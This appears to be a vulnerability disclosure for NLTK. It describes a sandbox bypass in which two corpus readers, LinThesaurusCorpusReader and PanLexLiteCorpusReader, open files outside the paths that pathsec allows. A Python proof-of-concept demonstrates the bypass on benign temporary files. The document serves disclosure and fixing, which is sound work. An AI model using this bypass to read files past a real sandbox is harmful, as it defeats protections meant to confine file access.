NLTK: Corpus Reader Sandbox Bypass

if zipfile:
    root = ZipFilePathPointer(zipfile, zipentry)
else:
    root = FileSystemPathPointer(root)

with open(path) as lin_file:
    ...

self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""

from __future__ import annotations

import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch

try:
    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
    here = pathlib.Path(__file__).resolve()
    for base in (here.parent, *here.parents):
        if (base / "nltk").is_dir() and (base / "setup.py").exists():
            sys.path.insert(0, str(base))
            break
    else:
        raise RuntimeError(
            "Could not import nltk. Run this script from an NLTK checkout root "
            "or from an environment where the current checkout is installed."
        )

    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader


def main() -> int:
    pathsec.ENFORCE = True

    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
            with tempfile.TemporaryDirectory() as tmp:
                tmpdir = pathlib.Path(tmp)
                outside = tmpdir / "outside"
                outside.mkdir()

                blocked_file = outside / "blocked.txt"
                blocked_file.write_text("blocked", encoding="utf-8")

                control_target = str(blocked_file)
                try:
                    with pathsec.open(control_target, "rb"):
                        raise AssertionError(
                            "pathsec.open unexpectedly allowed control path"
                        )
                except PermissionError:
                    print("control:pathsec.open=blocked")

                lin_root = tmpdir / "lin"
                lin_root.mkdir()
                lin_file = lin_root / "simN.lsp"
                lin_file.write_text(
                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
                    encoding="utf-8",
                )

                opened = []
                real_open = builtins.open

                def tracking_open(*args, **kwargs):
                    opened.append(str(args[0]))
                    return real_open(*args, **kwargs)

                with patch("builtins.open", tracking_open):
                    LinThesaurusCorpusReader(str(lin_root))

                if any(p.endswith("simN.lsp") for p in opened):
                    print("lin:outside_root_open=success")
                else:
                    raise AssertionError("LinThesaurusCorpusReader did not open data")

                panlex_root = tmpdir / "panlex"
                panlex_root.mkdir()
                db_path = panlex_root / "db.sqlite"
                db = sqlite3.connect(db_path)
                cur = db.cursor()
                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
                cur.execute(
                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
                )
                db.commit()
                db.close()

                reader = PanLexLiteCorpusReader(str(panlex_root))
                result = reader.language_varieties()
                if result == [("u1", "English")]:
                    print("panlex:language_varieties=success")
                else:
                    raise AssertionError("PanLexLiteCorpusReader did not load data")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())